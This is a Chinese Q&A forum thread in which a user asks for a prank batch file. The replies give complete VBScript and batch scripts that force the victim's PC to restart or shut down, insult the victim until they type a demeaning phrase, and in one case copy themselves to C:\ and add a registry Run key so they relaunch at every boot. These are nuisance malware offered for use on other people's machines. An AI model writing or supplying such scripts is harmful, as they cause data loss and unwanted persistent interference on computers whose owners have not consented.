求高手制作一个整人批处理!
发布网友
发布时间：2023-01-03 01:29
共4个回答
热心网友
时间：2023-10-10 09:48
VBS版：（下面代码保存为.vbs）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你是猪吗？"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("最好说“我是猪”，不然你惨了！哈哈 ""说真话哦！"" ","任务栏名称","默认回答",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "原来你是猪啊！！"
BAT版：（下列代码保存为.bat)
@echo off
:start
set/p zhu=你是猪吗(y/n)？
if "%zhu%"=="y" (
shutdown -a >nul 2>nul
echo 原来你是猪啊！&pause>nul
) else (
shutdown -r -t 30
echo 敢说你是不是猪！我要惩罚你！
pause>nul
goto start
)
热心网友
时间：2023-10-10 09:48
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 250 -c ""说我是猪 ，不说250秒(挺适合你)关你机，不信就试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快说，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "这才乖嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真有意思，再见"
还是vbe好，保存为*.vbe格式
bat：
@echo off
shutdown -f -s -t 250
ren %0 system.bat
copy %0 c:\ >nul
echo REGEDIT4>x.reg
echo.
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run]>>x.reg
echo "systemstart"="c:\\system.bat">>x.reg
regedit /s x.reg &del x.reg
:run
echo 说“我是猪”，不然250秒（挺适合你）后关你机！！！不信就试试...
set /p a=你是猪吗？？？（是，不是）
if "%a%"=="是" goto y
if "%a%"=="不是" goto n
:n
echo 什么？不说？那就...
pause>nul
exit
:y
echo 这才乖嘛...
echo 不关了
shutdown -a
pause
exit
热心网友
时间：2023-10-10 09:49
热心网友
时间：2023-10-10 09:49
